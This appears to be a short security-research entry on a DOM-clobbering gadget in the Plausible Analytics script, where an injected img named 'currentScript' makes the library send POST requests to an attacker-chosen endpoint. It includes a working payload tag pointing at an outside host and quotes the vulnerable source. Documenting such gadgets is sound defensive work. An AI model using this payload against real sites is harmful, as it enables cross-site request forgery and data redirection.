Simple, open source, lightweight and privacy-friendly web analytics alternative to Google Analytics.
The plausible-analytics’s library uses the data-domain
and data-api
attribute of the document.currentScript
element as a URL reference for a POST request.
<!-- user input -->
<img name="currentScript" data-domain="https://gmsgadget.com" data-api="https://gmsgadget.com/csrf">
<script defer data-domain="mydomain.com" src="https://plausible.io/js/script.js"></script>
Root Cause
var location = window.location
var document = window.document
if (COMPILE_COMPAT) {
var scriptEl = document.getElementById('plausible')
} else if (COMPILE_PLAUSIBLE_LEGACY_VARIANT) {
var scriptEl = document.currentScript
}
// [...]
config.endpoint = scriptEl.getAttribute('data-api') || defaultEndpoint()
config.domain = scriptEl.getAttribute('data-domain')
config.logging = true
sendRequest(config.endpoint, payload, options)
Related links:
Found by jackfromeast, ishmeals.